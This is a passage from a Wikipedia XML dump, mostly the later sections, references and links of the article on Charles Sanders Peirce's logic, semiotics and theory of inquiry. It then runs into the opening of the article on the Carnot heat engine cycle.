===Theory of categories===

&lt;blockquote&gt;
Now the discovery of ideas as general as these is chiefly the willingness to make a brash or speculative abstraction, in this case supported by the pleasure of purloining words from the philosophers:  &quot;[[Category]]&quot; from [[Aristotle]] and [[Kant]], &quot;[[Functor]]&quot; from [[Carnap]] (''Logische Syntax der Sprache''), and &quot;[[natural transformation]]&quot; from then current informal parlance. ([[Saunders Mac Lane]], ''Categories for the Working Mathematician'', 29-30).
&lt;/blockquote&gt;

Mac Lane did not mention Peirce among the objects of his sincerest flattery, but he might as well have, for his mention of Aristotle and Kant well enough credits his deep indebtedness to the pursers of them all.  As [[Richard Feynman]] was fond of observing, 'the same questions have the same answers', and the problem that a system of categories is aimed to 'beautify' is the same sort of beast whether it's Aristotle, Kant, Peirce, Carnap, or [[Eilenberg]] and Mac Lane that bends the bow.  What is that problem?  To answer that, let's begin again at the source:

&lt;blockquote&gt;
Things are equivocally named, when they have the name only in common, the definition (or statement of essence) corresponding with the name being different.  For instance, while a man and a portrait can properly both be called 'animals' (ζωον), these are equivocally named.  For they have the name only in common, the definitions (or statements of essence) corresponding with the name being different.  For if you are asked to define what the being an animal means in the case of the man and the portrait, you give in either case a definition appropriate to that case alone. &lt;p&gt;
Things are univocally named, when not only they bear the same name but the name means the same in each case -- has the same definition corresponding.  Thus a man and an ox are called 'animals'.  The name is the same in both cases;  so also the statement of essence.  For if you are asked what is meant by their both of them being called 'animals', you give that particular name in both cases the same definition. (Aristotle, ''Categories'', 1.1&lt;sup&gt;a&lt;/sup&gt;1-12).
&lt;/blockquote&gt;

In the logic of Aristotle categories are adjuncts to reasoning that are designed to resolve equivocations and thus to prepare  ambiguous signs, that are otherwise recalcitrant to being ruled by logic, for the application of logical laws.  An equivocation is a variation in meaning, or a manifold of sign senses, and so Peirce's claim that three categories are sufficient amounts to an assertion that all manifolds of meaning can be unified in just three steps.

The following passage is critical to the understanding of Peirce's Categories:

&lt;blockquote&gt;
I will now say a few words about what you have called Categories, but for which I prefer the designation Predicaments, and which you have explained as predicates of predicates.  That wonderful operation of [[hypostatic abstraction]] by which we seem to create ''entia rationis'' that are, nevertheless, sometimes real, furnishes us the means of turning predicates from being signs that we think or think ''through'', into being subjects thought of.  We thus think of the thought-sign itself, making it the object of another thought-sign.  Thereupon, we can repeat the operation of hypostatic abstraction, and from these second intentions derive third intentions.  Does this series proceed endlessly?  I think not.  What then are the characters of its different members?  My thoughts on this subject are not yet harvested.  I will only say that the subject concerns Logic, but that the divisions so obtained must not be confounded with the different Modes of Being:  Actuality, Possibility, Destiny (or Freedom from Destiny).  On the contrary, the succession of Predicates of Predicates is different in the different Modes of Being.  Meantime, it will be proper that in our system of diagrammatization we should provide for the division, whenever needed, of each of our three Universes of modes of reality into ''Realms'' for the different Predicaments.  (Peirce, CP 4.549, &quot;Prolegomena to an Apology for Pragmaticism&quot;, ''Monist'', 16, 492-546 (1906), CP 4.530-572).
&lt;/blockquote&gt;

The first thing that we need to extract from this text is the fact that Categories are predicates of predicates, in effect, types of relations.

===Logical graphs===
{{main|Logical graph}}

===Mathematics===
&lt;blockquote&gt;
It may be added that algebra was formerly called ''Cossic'', in English, or the ''Rule of Cos'';  and the first algebra published in England was called &quot;[[The Whetstone of Wit]]&quot;, because the author supposed that the word ''cos'' was the Latin word so spelled, which means a whetstone.  But in fact, ''cos'' was derived from the Italian, ''cosa'', thing, the thing you want to find, the unknown quantity whose value is sought.  It is the Latin ''caussa'', a thing aimed at, a cause.  (&quot;Elements of Mathematics&quot;, MS 165 (c. 1895), NEM 2, 50).
&lt;/blockquote&gt;

Peirce made a number of striking discoveries in foundational mathematics, nearly all of which came to be appreciated only long after his death.  He:

:* Showed how what is now called [[Boolean algebra]] could be expressed by means of a single binary operation, either [[Sheffer stroke|NAND]] or its dual, [[Sheffer stroke|NOR]]. See also [[De Morgan's Laws]]. This discovery anticipated [[Sheffer]] by 33 years.

:* In Peirce (1885), set out what can be read as the first (primitive) [[axiomatic set theory]], anticipating [[Zermelo]] by about two decades.

:* Discovered the now-classic [[Peano axioms|axiomatization of natural number arithmetic]], a few years before [[Dedekind]] and [[Peano]] did so.

:* Discovered, independently of Dedekind, an important formal  definition of an [[infinite set]], namely, as a [[set]] that can be put into a [[one-to-one correspondence]] with one of its proper [[subsets]].  

Beginning with his first paper on the [[Logic of Relatives (1870)|&quot;Logic of Relatives&quot; (1870)]], Peirce extended the [[theory of relations]] that [[Augustus De Morgan]] had just recently woken from its Cinderella slumbers.  Much of the actual mathematics of relations that is taken for granted today was &quot;borrowed&quot; from Peirce, not always with all due credit (Anellis 1995).  Beginning in 1940, [[Alfred Tarski]] and his students rediscovered aspects of Peirce's larger vision of relational logic, developing the perspective of [[relational algebra]].  These theoretical resources gradually worked their way into applications, in large part instigated by the work of [[Edgar F. Codd]], who happened to be a doctoral student of the Peirce editor and scholar [[Arthur W. Burks]], on the [[relational model]] or the relational paradigm for implementing and using [[database]]s.

In the four volume work, ''The New Elements of Mathematics by Charles S. Peirce'' (1976), mathematician and Peirce scholar Carolyn Eisele published a large number of Peirce's previously unpublished manuscripts on mathematical subjects, including the drafts for an introductory textbook, allusively titled ''The New Elements of Mathematics'', that presented mathematics from a decidedly novel, if not revolutionary standpoint.

==Dynamics of representation==

&lt;blockquote&gt;
Every mind which passes from doubt to belief must have ideas which follow after one another in time.  Every mind which reasons must have ideas which not only follow after others but are caused by them.  Every mind which is capable of logical criticism of its inferences, must be aware of this determination of its ideas by previous ideas.  (Peirce, &quot;On Time and Thought&quot;, CE 3, 68-69).
&lt;/blockquote&gt;

All through the 1860's, the young but rapidly maturing Charles Peirce — our focus now being his coming of age in the sphere of intellect — was busy establishing a conceptual basecamp and a technical supply line for the intellectual adventures of a lifetime.  Taking the longview of this activity and trying to choose the best titles for the story, it all seems to have something to do with the [[dynamics]] of [[representation]], divided into the portion that we are given by [[nature]] and the portion that we are given to [[nurture]].  In this quest we may discern a question of [[articulation]] and a question of [[explanation]]:

:* How best to articulate the workings of that wary form of [[representation]] that we know as 'conscious experience'?

:* How best to account for the workings of that discipline of [[inquiry]] that we mark out for recognition as 'science'?

The pursuit of answers to these questions finds them to be so entangled with each other that it's ultimately impossible to comprehend them apart from each other, but for the sake of exposition it's convenient to organize our study of Peirce's assault on the ''summa'' by following first the trails of thought that led him to develop a ''[[theory of signs]]'', one that has come to be known as '[[semiotic]]', and tracking next the ways of thinking that led him to develop a ''[[theory of inquiry]]'', one that would be up to the task of saying 'how science works'.

Opportune points of departure for exploring the [[dynamics]] of [[representation]], such as led to Peirce's theories of [[inference]] and [[information]], [[inquiry]] and [[sign]]s, are those that he took for his own springboards.  Perhaps the most significant influences radiate from points on parallel lines of inquiry in [[Aristotle]]'s work, points where the intellectual forerunner focused on many of the same issues and even came to strikingly similar conclusions, at least about the best ways to begin.  Staying within the bounds of what will give us a more solid basis for understanding Peirce, it serves to consider the following ''loci'' in [[Aristotle]]:

:* The basic terminology of [[psychology]], in ''[[On the Soul]]''.

:* The founding description of [[sign relation]]s, in ''[[On Interpretation]]'';

:* The differentiation of the genus of reasoning into three species of [[inference]] that are commonly translated into English as ''[[Abductive reasoning|abduction]]'', ''[[Deductive reasoning|deduction]]'', and ''[[Induction (philosophy)|induction]]'', in the ''[[Prior Analytics]]''.

In addition to the three elements of [[inference]], that Peirce would assay to be [[irreducible]], [[Aristotle]] analyzed several types of [[compound inference]], most importantly the type known as 'reasoning by [[analogy]]' or 'reasoning from [[example]]', employing for the latter description the Greek word 'paradeigma', from which we get our word '[[paradigm]]'.

Inquiry is a form of reasoning process, in effect, a particular way of conducting thought, and thus it can be said to institute a specialized manner, style, or turn of thinking.  Philosophers of the school that is commonly called 'pragmatic' hold that all 
thought takes place in signs, where 'sign' is the word they use for the broadest conceivable variety of characters, expressions, formulas, messages, signals, texts, and so on up the line, that might be imagined.  Even intellectual concepts and mental ideas are held to be a special class of signs, corresponding to internal states of the thinking agent that both issue in and result from the interpretation of external signs.

The subsumption of inquiry within reasoning in general and the inclusion of thinking within the class of sign processes allows us to approach the subject of inquiry from two different perspectives:

:* The ''[[syllogistic]]'' approach treats inquiry as a species of logical process, and is limited to those of its aspects that can be related to the most basic laws of inference.

:* The ''[[sign-theoretic]]'' approach views inquiry as a genus of ''[[semiosis]]'', an activity taking place within the more general setting of [[sign relation]]s and [[sign process]]es.

The distinction between signs denoting and objects denoted is critical to the discussion of Peirce's  theory of signs.  Wherever needed in the rest of this article, therefore, in order to mark this distinction a little more emphatically than usual, double quotation marks placed around a given sign, for example, a string of zero or more characters, will be used to create a new sign that denotes the given sign as its object.

===Theory of signs, or semiotic===

Peirce is one of the two founders of the general study of signs, the other being [[Ferdinand de Saussure]].  Peirce referred to  his approach, based on [[relation (mathematics)|triadic]] [[sign relation]]s, as ''[[semiotic]]'' or ''[[semeiotic]]'', either of which terms are currently used in either singular of plural form.  In contrast, Saussure referred to his approach, based on dyadic sign relations, as ''[[semiology]]''.  Peirce began writing on semeiotic in the 1860s, around the time he devised his system of three categories.  He eventually defined ''[[semiosis]]'' as an &quot;action, or influence, which is, or involves, a cooperation of ''three'' subjects, such as a sign, its object, and its interpretant, this tri-relative influence not being in any way resolvable into actions between pairs&quot;.  (Houser 1998: 411, written 1907).  This triadic relation grounds the semeiotic.

In order to understand what a ''[[sign (semiotics)|sign]]'' is we need to understand what a ''[[sign relation]]'' is, for signhood is a way of being in relation, not a way of being in itself.  In order to understand what a sign relation is we need to understand what a ''[[relation (mathematics)|triadic relation]]'' is, for the [[role]] of a sign is constituted as one among three, where roles in general are distinct even when the things that fill them are not.  In order to understand what a triadic relation is we need to understand what a ''[[relation (mathematics)|relation]]'' is, and here there are traditionally two ways of understanding what a relation is, both of which are necessary if not sufficient to complete understanding, namely, the way of ''[[extension (semantics)|extension]]'' and the way of ''[[intension]]''.   To these traditional approximations, Peirce adds a third way, the way of ''[[information]]'', that integrates the other two approaches in a unified whole.

====Sign relations====
{{main|Sign relation}}

With that hasty map of relations and relatives sketched above (§ 4.3.2), we may now trek into the terrain of ''[[sign relation]]s'', the main subject matter of Peirce's ''[[semiotic]]'', or theory of signs.

====Types of signs====

===Theory of inquiry===
{{main|Inquiry}}

: Upon this first, and in one sense this sole, rule of reason, that in order to learn you must desire to learn, and in so desiring not be satisfied with what you already incline to think, there follows one corollary which itself deserves to be inscribed upon every wall of the city of philosophy:
&lt;center&gt; Do not block the way of inquiry.&lt;/center&gt;
: Although it is better to be methodical in our investigations, and to consider the economics of research, yet there is no positive sin against logic in ''trying'' any theory which may come into our heads, so long as it is adopted in such a sense as to permit the investigation to go on unimpeded and undiscouraged.  On the other hand, to set up a philosophy which barricades the road of further advance toward the truth is the one unpardonable offence in reasoning, as it is also the one to which metaphysicians have in all ages shown themselves the most addicted.  (Peirce, &quot;F.R.L.&quot; (c. 1899), CP 1.135-136).

Peirce extracted the pragmatic [[model]] or [[theory]] of [[inquiry]] from its raw materials in classical logic and refined it in parallel with the early development of symbolic logic to address problems about the nature of scientific reasoning.  Borrowing a brace of concepts from [[Aristotle]], Peirce examined three fundamental modes of reasoning that play a role in inquiry, processes that are currently known as ''[[abductive]]'', ''[[deductive]]'', and ''[[inductive]]'' [[inference]].

In the roughest terms, [[Abductive reasoning|abduction]] is what we use to generate a likely [[hypothesis]] or an initial [[diagnosis]] in response to a [[phenomenon]] of interest or a [[problem]] of concern, while [[Deductive reasoning|deduction]] is used to clarify, to derive, and to explicate the relevant consequences of the selected [[hypothesis]], and [[Induction (philosophy)|induction]] is used to test the sum of the predictions against the sum of the data.

These three processes typically operate in a cyclic fashion, systematically operating to reduce the uncertainties and the difficulties that initiated the inquiry in question, and in this way, to the extent that inquiry is successful, leading to an increase in the [[knowledge]] or [[skills]], in other words, an [[augmentation]] in the [[competence]] or [[performance]], of the agent or community engaged in the inquiry.

In the pragmatic way of thinking every thing has a [[purpose]], and the purpose of any thing is the first thing that we should try to note about it.  The purpose of [[inquiry]] is to reduce [[doubt]] and lead to a state of [[belief]], which a person in that state will usually call '[[knowledge]]' or '[[certainty]]'.  It needs to be appreciated that the three kinds of [[inference]], insofar as they contribute to the [[end of inquiry]], describe a cycle that can be understood only as a whole, and none of the three makes complete sense in isolation from the others.

For instance, the purpose of [[Abductive reasoning|abduction]] is to generate guesses of a kind that [[Deductive reasoning|deduction]] can explicate and that [[Induction (philosophy)|induction]] can evaluate.  This places a mild but meaningful [[constraint]] on the production of hypotheses, since it is not just any wild guess at [[explanation]] that submits itself to reason and bows out when defeated in a match with [[reality]].  In a similar fashion, each of the other types of [[inference]] realizes its purpose only in accord  with its proper role in the whole [[cycle of inquiry]].  No matter how much it may be necessary to study these processes in abstraction from each other, the [[integrity]] of inquiry places strong limitations on the effective [[Modularity (programming)|modularity]] of its principal components.

If we then think to inquire, 'What sort of [[constraint]], exactly, does pragmatic thinking place on our guesses?', we have asked the question that is generally recognized as the problem of '[[giving a rule to abduction]]'.  Peirce's way of answering it is given in terms of the so-called '[[pragmatic maxim]]', and this in turn gives us a clue as to the central role of abductive reasoning in Peirce's pragmatic philosophy.

===Logic of information===
{{main|Logic of information}}

&lt;blockquote&gt;
Let us now return to the information.  The information of a term is the measure of its superfluous [[comprehension (logic)|comprehension]].  That is to say that the proper office of the comprehension is to determine the [[extension (semantics)|extension]] of the term.  For instance, you and I are men because we possess those attributes — having two legs, being rational, &amp;tc. — which make up the comprehension of ''man''.  Every addition to the comprehension of a term lessens its extension up to a certain point, after that further additions increase the information instead.  (C.S. Peirce, &quot;The [[Logic of Science]], or, [[induction (philosophy)|Induction]] and [[abductive reasoning|Hypothesis]]&quot; (1866), CE 1, 467).
&lt;/blockquote&gt;

==Parallels with Leibniz==

Peirce was aware that the breadth and depth of his ideas resembled those of the [[17th century]] German [[polymath]] [[Gottfried Wilhelm Leibniz]];  (see Fisch 1986: 249-60). But the parallels between Peirce and Leibniz were even more striking than he knew. One should keep in mind that the scope of Leibniz's achievement was not as well appreciated in Peirce's day as in ours. Both men were mathematicians, logicians, historians, philosophers of language and mind, and metaphysicians. Neither was by any means primarily educated in philosophy (Leibniz's degree was in [[law]]). Both were passionate about natural science and contributed thereto, dabbled in inventions, and worked on engineering projects. Both were fascinated by [[semiotics]] and [[mathematical notation]], and the interplay between philosophy and mathematics. Both were surprisingly friendly to some parts of [[scholastic]] metaphysics as well as logic; e.g., Peirce frequently invoked the [[Duns Scotus|Scotistic]] notion of [[haecceity]]. Both published few books, many articles, and died leaving a vast amount in manuscript. The ideas of both men underwent oversimplification in the hands of others, and were little appreciated for some time after their deaths. The critical editions of the works of both men are far from complete. The secondary literature on both men mostly dates from the end of [[World War II|WWII]]. Leibniz differs from Peirce in his greater range, vast correspondence, freedom from financial difficulties, and his passionate [[Christianity]].

==References==

* Anellis, I.H. (1995), &quot;Peirce Rustled, Russell Pierced:  How Charles Peirce and Bertrand Russell Viewed Each Other's Work in Logic, and an Assessment of Russell's Accuracy and Role in the Historiography of Logic&quot;, ''Modern Logic'', 5, 270-328.  [http://members.door.net/arisbe/menu/library/aboutcsp/anellis/csp&amp;br.htm Eprint]

* [[Aristotle]], &quot;The Categories&quot;, [[Harold P. Cooke]] (trans.), pp. 1-109 in ''Aristotle, Vol. 1'',  [[Loeb Classical Library]], [[William Heinemann]], London, UK, 1938.

* [[Aristotle]], &quot;On Interpretation&quot;, [[Harold P. Cooke]] (trans.), pp. 111-179 in ''Aristotle, Vol. 1'',  [[Loeb Classical Library]], [[William Heinemann]], London, UK, 1938.

* [[Aristotle]], &quot;[[Prior Analytics]]&quot;, [[Hugh Tredennick]] (trans.), pp. 181-531 in ''Aristotle, Vol. 1'', [[Loeb Classical Library]], William Heinemann, London, UK, 1938. 

* [[George Boole|Boole, George]] (1854), ''An Investigation of the Laws of Thought on Which are Founded the Mathematical Theories of Logic and Probabilities'', [[Macmillan Publishers|Macmillan]], 1854.  Reprinted with corrections, [[Dover Publications]], New York, NY, 1958.

* [[John Dewey|Dewey, John]] (1910), ''How We Think'', [[D.C. Heath]], Lexington, MA, 1910.  Reprinted, Prometheus Books, Buffalo, NY, 1991.

* [[Jean van Heijenoort|van Heijenoort, Jean]] (1967), &quot;Logic as Language and Logic as Calculus&quot;, ''Synthese'', 17, 324-30.

* [[Nathan Houser|Houser, Nathan]] (1989), &quot;The Fortunes and Misfortunes of the Peirce Papers&quot;, ''Fourth Congress of the International Association for Semiotic Studies'', Perpignan, France, 1989.  Published, pp. 1259-1268 in ''Signs of Humanity'', vol. 3, Michel Balat and Janice Deledalle-Rhodes (eds.), Gérard Deledalle (gen. ed.), Mouton de Gruyter, Berlin, Germany, 1992.  [http://members.door.net/arisbe/menu/library/aboutcsp/houser/fortunes.htm Eprint]

* [[Henry George Liddell|Liddell, Henry George]], and [[Robert Scott|Scott, Robert]] (1889), ''An Intermediate Greek-English Lexicon'', [[Oxford University Press]], Oxford, UK, 1889.  Impression of 1991.  [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus:text:1999.04.0058;query=toc Eprint]

* [[Saunders Mac Lane|Mac Lane, Saunders]] (1971), ''Categories for the Working Mathematician'', [[Springer-Verlag]], New York, NY, 1971.  Second edition, 1998.

* Peirce, C.S. (1877), &quot;The Fixation of Belief&quot;, ''Popular Science Monthly'', 12, 1-15, 1877.  Reprinted, CP 5.358-387.  [http://www.peirce.org/writings/p107.html Eprint]

* Peirce, C.S. (1878), &quot;How to Make Our Ideas Clear&quot;, ''Popular Science Monthly'', 12, 286-302, 1878.  Reprinted, CP 5.388-410.  [http://en.wikisource.org/wiki/How_to_Make_Our_Ideas_Clear Eprint]

* Peirce, C.S. (1899), &quot;F.R.L.&quot; [First Rule of Logic], unpaginated manuscript, c. 1899.  Reprinted, CP 1.135-140.  [http://www.princeton.edu/~batke/peirce/frl_99.htm Eprint]

* Peirce, C.S., &quot;Application of C.S. Peirce to the Executive Committee of the Carnegie Institution&quot; (1902 [[July 15]]).  Published, &quot;Parts of Carnegie Application&quot; (L75), pp. 13–73 in ''The New Elements of Mathematics by Charles S. Peirce, Volume 4, Mathematical Philosophy'', Carolyn Eisele (ed.), Mouton Publishers, The Hague, Netherlands, 1976. [http://members.door.net/arisbe/menu/library/bycsp/l75/l75.htm Eprint, Joseph Ransdell (ed.)]

* Peirce, C.S., ''The Essential Peirce, Selected Philosophical Writings, Volume 1 (1867–1893)'', Nathan Houser and Christian Kloesel (eds.), Indiana University Press, Bloomington and Indianapolis, IN, 1992.

* Peirce, C.S., ''The Essential Peirce, Selected Philosophical Writings, Volume 2 (1893–1913)'', Peirce Edition Project (eds.), Indiana University Press, Bloomington and Indianapolis, IN, 1998.

* Robin, Richard S. (1967), ''Annotated Catalogue of the Papers of Charles S. Peirce'', University of Massachusetts Press, Amherst, MA, 1967.  [http://www.iupui.edu/~peirce/robin/robin.htm Eprint]

==Bibliography==
{{main|Charles Peirce (Bibliography)}}

A bibliography of Peirce's works may be found at the above location.

==See also==
===Abstraction===
* [[Continuous predicate]]
* [[Hypostatic abstraction]]
* [[Prescisive abstraction]]

===Contemporaries===
* [[John Dewey]]
* [[William James]]
* [[Ernst Schröder]]

===Information, inquiry, logic, semiotics===
{{col-begin}}
{{col-break}}
* [[Ampheck]]
* [[Comprehension (logic)|Comprehension]]
* [[Entitative graph]]
* [[Existential graph]]
* [[Inquiry]]
* [[Laws of form]]
{{col-break}}
* [[Logic of information]]
* [[Logic of relatives]]
* [[Logical graph]]
* [[Logical matrix]]
* [[Logical nand]]
* [[Logical nor]]
{{col-break}}
* [[Peirce's law]]
* [[Relative term|Rhema, Rheme]]
* [[Semiotics]]
* [[Semiotic information theory]]
* [[Sign relation]]
* [[Sole sufficient operator]]
{{col-end}}

===Mathematics===
{{col-begin}}
{{col-break}}
* [[Relation (mathematics)|Relation]]
* [[Relation construction]]
* [[Relation composition]]
* [[Relation reduction]]
{{col-break}}
* [[Binary relation|Dyadic relation]]
* [[Triadic relation]]
* [[Theory of relations]]
{{col-end}}

===Philosophy===
* [[Pragmatism]]
* [[Pragmaticism]]
* [[Pragmatic maxim]]

==External links==

{{wikiquote}}
{{wikisource author|Charles Sanders Peirce}}
{{Sem}}

* Credits:
** ia = initial author
** ed = architect, coordinator, director, editor, manager, webmaster, webmistress, etc.

* [http://members.door.net/arisbe/arisbe.htm Arisbe: The Peirce Gateway], Joseph Ransdell (ed.)

* [http://www.peircesociety.org/ Charles S. Peirce Society]

:* [http://www.peircesociety.org/transactions.html Transactions]

* [http://www.peirce.org/ Charles S. Peirce Studies]

* [http://www-history.mcs.st-andrews.ac.uk/Mathematicians/Peirce_Charles.html Charles Sanders Peirce], MacTutor History of Mathematics, O'Connor &amp; Robertson

* [http://www.helsinki.fi/science/commens/ Commens: Virtual Centre for Peirce Studies], University of Helsinki, Bergman &amp; Paavola (eds.)

:* [http://www.helsinki.fi/science/commens/dictionary.html Dictionary of Peirce Terms] 

:* [http://www.helsinki.fi/science/commens/peircetexts.html Peirce's Writings Online]

* [http://www.digitalpeirce.org Digital Encyclopedia of Charles S. Peirce]

* [http://www.unav.es/gep/ Grupo de Estudios Peirceanos], Jaime Nubiola (ed.)

* [http://www.wyttynys.net/ His Glassy Essence:] Autobiography of Charles S. Peirce, Kenneth Laine Ketner

* [http://www.iep.utm.edu/ Internet Encyclopedia of Philosophy], Fieser &amp; Dowden (eds.)

:* [http://www.iep.utm.edu/p/PeirceBi.htm Charles Sanders Peirce (1839-1914)], Albert Atkin

:* [http://www.iep.utm.edu/p/PeirceAr.htm C.S. Peirce's Architectonic Philosophy], Albert Atkin

:* [http://www.iep.utm.edu/p/PeircePr.htm C.S. Peirce's Pragmatism], Albert Atkin

* [http://www.lichtensteiger.de/peirce.html Peirce, Charles Sanders (1839-1914)], Ralph Lichtensteiger

* [http://www.iupui.edu/~peirce/ Peirce Edition Project]

:* [http://www.iupui.edu/~peirce/ep/ep1/intro/ep1intro.htm Introduction to ''Essential Peirce'', vol. 1], Nathan Houser

:* [http://www.iupui.edu/~peirce/ep/ep2/intro/ep2intro.htm Introduction to ''Essential Peirce'', vol. 2], Nathan Houser

* [http://www.pragmatism.org/ Pragmatism Cybrary], John R. Shook (ed.)

:* [http://www.pragmatism.org/genealogy/cambridge.htm Cambridge School of Pragmaticm]

* [http://plato.stanford.edu/ Stanford Encyclopedia of Philosophy], Edward N. Zalta (ed.)

:* [http://plato.stanford.edu/entries/peirce/ Charles Sanders Peirce], Robert Burch

:* [http://plato.stanford.edu/entries/peirce-logic/ Peirce's Logic], Eric Hammer

* [http://fr.wikipedia.org/wiki/Accueil Wikipédia, l’encyclopédie libre]

:* [http://fr.wikipedia.org/wiki/Philosophie_et_sémiotique_de_Peirce Philosophie et sémiotique de Peirce], Raymond Robert Tremblay (ia.)

''An [http://www.unav.es/users/Nupedia_Charles_S.html earlier version] of this article, by Jaime Nubiola, was posted at Nupedia.''

[[Category:1839 births|Peirce, Charles Sanders]]
[[Category:1914 deaths|Peirce, Charles Sanders]]
[[Category:Geodesists|Peirce, Charles Sanders]]
[[Category:Logicians|Peirce, Charles Sanders]]
[[Category:Mathematicians|Peirce, Charles Sanders]]
[[Category:Philosophers|Peirce, Charles Sanders]]
[[Category:Pragmatists|Peirce, Charles Sanders]]
[[Category:Semioticians|Peirce, Charles Sanders]]
[[Category:History of logic|Peirce, Charles Sanders]]
[[Category:History of mathematics|Peirce, Charles Sanders]]
[[Category:History of philosophy|Peirce, Charles Sanders]]
[[Category:Philosophy of science|Peirce, Charles Sanders]]

[[ca:Charles Sanders Peirce]]
[[de:Charles S. Peirce]]
[[et:Charles Sanders Peirce]]
[[es:Charles Sanders Peirce]]
[[fr:Charles Sanders Peirce]]
[[it:Charles Sanders Peirce]]
[[he:צ'ארלס פירס]]
[[lv:Čārlzs Pīrss]]
[[lt:Čarlzas Pirsas]]
[[nl:Charles Peirce]]
[[no:Charles S. Peirce]]
[[pl:Charles Sanders Peirce]]
[[pt:Charles Sanders Peirce]]
[[ru:Пирс, Чарльз Сандерс]]
[[sk:Charles Sanders Peirce]]
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    </revision>
  </page>
  <page>
    <title>Carnot heat engine</title>
    <id>6118</id>
    <revision>
      <id>40423794</id>
      <timestamp>2006-02-20T12:57:53Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">{{Thermodynamic cycles}}
The '''Carnot cycle''' is a particular thermodynamic cycle studied by [[Nicolas Léonard Sadi Carnot]] in the [[1820s]] and expanded upon by [[Émile Clapeyron|Benoit Paul Émile Clapeyron]] in the [[1830s]] and [[1840s|40s]]. 

Every thermodynamic system exists in a particular state. A thermodynamic cycle occurs when a system is taken through a series of different states, and finally returned to its initial state. In the process of going through this cycle, the system may perform work on its surroundings, thereby acting as a [[heat engine]].

A heat engine acts by transferring energy from a warm region to a cool region of space and, in the process, converting some of that energy to mechanical work. The cycle may also be reversed. The system may be worked upon by an external force, and in the process, it can transfer thermal energy from a cooler system to a warmer one, thereby acting as a [[refrigerator]] rather than a heat engine.

The Carnot cycle is a special type of thermodynamic cycle. It is special because it is the most efficient cycle possible for converting a given amount of thermal energy into work or,  conversely, for using a given amount of work for refrigeration purposes.

&lt;!---------------------------------------------------------------------&gt;

==The Carnot cycle==

[[Image:CarnotCycle1.png|300px|thumb|right|A Carnot cycle acting as a heat engine, illustrated on a temperature-entropy diagram. The cycle takes place between a hot reservoir at temperature T&lt;sub&gt;H&lt;/sub&gt; and a cold reservoir at temperature T&lt;sub&gt;C&lt;/sub&gt;. The vertical axis is temperature, the horizontal axis is entropy.]]

The '''Carnot cycle''' when acting as a heat engine consists of the following steps:

#'''Reversible [[isothermal]] expansion of the gas at the &quot;hot&quot; temperature, ''T''&lt;sub&gt;''H''&lt;/sub&gt;( Isothermal heat addition ).''' During this step (A to B on diagram) the expanding gas causes the piston to do work on the surroundings.  The gas expansion is propelled by absorption of heat from the high temperature reservoir.
#'''Reversible [[adiabatic process|adiabatic]] expansion of the gas.''' For this step (B to C on diagram) we assume the piston and cylinder are thermally insulated, so that no heat is gained or lost.  The gas continues to expand, doing work on the surroundings.  The gas expansion causes it to cool to the &quot;cold&quot; temperature, ''T''&lt;sub&gt;''C''&lt;/sub&gt;.
#'''Reversible isothermal compression of the gas at the &quot;cold&quot; temperature, ''T''&lt;sub&gt;''C''&lt;/sub&gt;.( Isothermal heat rejection )''' (C to D on diagram) Now the surroundings do work on the gas, causing heat to flow out of the gas to the low temperature reservoir.
#'''Reversible adiabatic compression of the gas.''' (D to A on diagram) Once again we assume the piston and cylinder are thermally insulated.  During this step, the surroundings do work on the gas, compressing it and causing the temperature to rise to ''T''&lt;sub&gt;''H''&lt;/sub&gt;.  At this point the gas is in the same state as at the start of step 1.

&lt;!---------------------------------------------------------------------&gt;
&lt;br style=&quot;clear:both;&quot; /&gt;
==Properties and significance==

=== The temperature-entropy diagram ===

[[Image:CarnotCycle3.png|300px|thumb|right|A generalized thermodynamic cycle taking place between a hot reservoir at temperature T&lt;sub&gt;H&lt;/sub&gt; and a cold reservoir at temperature T&lt;sub&gt;C&lt;/sub&gt;. By the [[second law of thermodynamics]], the cycle cannot extend outside the temperature band from T&lt;sub&gt;C&lt;/sub&gt; to T&lt;sub&gt;H&lt;/sub&gt;. The area in red &amp;Delta;Q&lt;sub&gt;C&lt;/sub&gt; is the amount of energy exchanged between the system and the cold reservoir. The area in white &amp;Delta; W is the amount of work energy exchanged by the system with its surroundings. The amount of heat exchanged with the hot reservoir is the sum of the two. If the system is behaving as an engine, the process moves clockwise around the loop, and moves counter-clockwise if it is behaving as a refrigerator. ]]

The behavior of a Carnot engine or refrigerator is best understood by using a temperature-entropy (TE) diagram, in which the thermodynamic state is specified by a point on a graph with entropy (S) as the  horizontal axis and temperature (T) as the vertical axis. For a simple system with a fixed number of particles, any point on the graph will represent a particular state of the system. A thermodynamic process will consist of a curve connecting an initial state (A) and a final state (B). The area under the curve will be

:&lt;math&gt;\Delta Q=\int_A^B T\,dS
\quad\quad(1)&lt;/math&gt;

which is the amount of thermal energy transferred in the process. If the process moves to greater entropy, the area under the curve will be the amount of heat absorbed by the system in that process. If the process moves towards lesser entropy, it will be the amount of heat removed. For any cyclic process, there will be an upper portion of the cycle and a lower portion. For a clockwise cycle, the area under the upper portion will be the thermal energy absorbed during the cycle, while the area under the lower portion will be the thermal energy removed during the cycle. The area inside the cycle will then be the difference between the two, but since the internal energy of the system must have returned to its initial value, this difference must be the amount of work done by the system over the cycle. Mathematically, for a reversible process we may write the amount of work done over a cyclic process as

:&lt;math&gt;\Delta W = \oint PdV = \oint (TdS-dU)
\quad\quad\quad\quad(2)&lt;/math&gt;

Since ''dU'' is an [[exact differential]], its integral over any closed loop is zero and it follows that the area inside the loop on a T-S diagram is equal to the total work performed if the loop is traversed in a clockwise direction, and is equal to the total work done on the system as the loop is traversed in a counterclockwise direction.

=== The Carnot cycle ===

[[Image:CarnotCycle2.png|300px|thumb|right|A Carnot cycle taking place between a hot reservoir at temperature T&lt;sub&gt;H&lt;/sub&gt; and a cold reservoir at temperature T&lt;sub&gt;C&lt;/sub&gt;.]]

Evaluation of the above integral is particularly simple for the Carnot cycle. The amount of energy transferred as work is

:    &lt;math&gt;\Delta W = \oint PdV = (T_H-T_C)(S_B-S_A)&lt;/math&gt;

The total amount of thermal energy transferred between the hot reservoir and the system will be

:    &lt;math&gt;\Delta Q_H=T_H(S_B-S_A)\,&lt;/math&gt;

and the total amount of thermal energy transferred between the system and the cold reservoir will be

:    &lt;math&gt;\Delta Q_C=T_C(S_B-S_A)\,&lt;/math&gt;.

